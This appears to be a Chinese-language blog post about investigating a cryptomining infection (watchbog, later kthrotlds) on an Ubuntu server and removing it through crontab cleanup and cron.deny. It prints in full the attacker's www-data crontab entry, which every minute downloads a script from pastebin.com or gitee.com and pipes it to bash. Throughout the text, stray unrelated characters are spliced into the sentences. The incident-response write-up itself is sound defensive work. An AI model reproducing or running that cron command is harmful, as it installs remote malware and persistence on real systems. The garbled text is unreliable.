今天有同事說(shuō)某服務(wù)器cpu占用達(dá)到了 100% 希望協(xié)助解決巷懈,查看了一下問(wèn)題
首先通過(guò)htop查看了服務(wù)器狀態(tài)区宇,很明顯一個(gè)叫做watchbog的進(jìn)程占據(jù)了99%的 cpu資源
htop截圖
然后嘗試通過(guò)kill 命令殺死該進(jìn)程率触,但是該進(jìn)程很快又重新啟動(dòng)
嘗試在文件中搜索watchbog文件宪彩,但是并沒(méi)有發(fā)現(xiàn)該文件翩剪,進(jìn)程名應(yīng)該是重寫的
該進(jìn)程的用戶是 www-data 刹淌,疑似該賬戶發(fā)生了問(wèn)題官还,于是查看該賬戶的crontab列表芹橡,初步找到了問(wèn)題
root@VM-38-99-ubuntu:/home/ubuntu# crontab -u www-data -l
*/1 * * * * (curl -fsSL https://pastebin.com/raw/aGTSGJJp||wget -q -O- https://pastebin.com/raw/aGTSGJJp||curl -fsSL https://gitee.com/but_ter/w1/raw/master/src/phone||wget -q -O - https://gitee.com/but_ter/w1/raw/master/src/phone)|bash > /dev/null 2>&1
編輯該用戶的crontab并刪除該定時(shí)任務(wù),然后再kill進(jìn)程
crontab -u www-data -e
問(wèn)題初步解決望伦,但是服務(wù)器是怎么被入侵的呢林说?
root@VM-38-99-ubuntu:/home/ubuntu# ps aux | grep www-data
www-data 1297 0.0 0.4 359140 8072 ? S 09:50 0:00 php-fpm: pool www
www-data 1298 0.0 0.4 359140 8072 ? S 09:50 0:00 php-fpm: pool www
root 12394 0.0 0.0 14972 940 pts/0 S+ 11:09 0:00 grep --color=auto www-data
可以看到www-data 用戶相關(guān)的進(jìn)程有php-fmp,那么我們先把問(wèn)題鎖定在這里
又查看了nginx相關(guān)的配置也是使用該用戶執(zhí)行的(nginx最近未啟動(dòng))屯伞,但是并沒(méi)有發(fā)現(xiàn)什么問(wèn)題
先給出一個(gè)治標(biāo)不治本的方法吧
vim /etc/cron.deny
將www-data添加到該文件中去腿箩,禁止該用戶配置crontab
問(wèn)題臨時(shí)解決了,可是過(guò)了半個(gè)月問(wèn)題又復(fù)發(fā)了劣摇,而且還更加高級(jí)了
云服務(wù)器一直發(fā)送木馬警告珠移,詭異的事情是,在云管理后臺(tái)看到cpu的資源占用已經(jīng)達(dá)到了100%,可是登錄主機(jī)htop查看卻一切如常钧惧,ps aux 一下暇韧,發(fā)下了一個(gè)叫做 kthrotlds 可疑程序正在運(yùn)行,百度一下還真是一個(gè)挖礦木馬浓瞪。好在有好心人提供了一鍵殺毒腳本懈玻,在此感謝
https://github.com/MoreSecLab/DDG_MalWare_Clean_Tool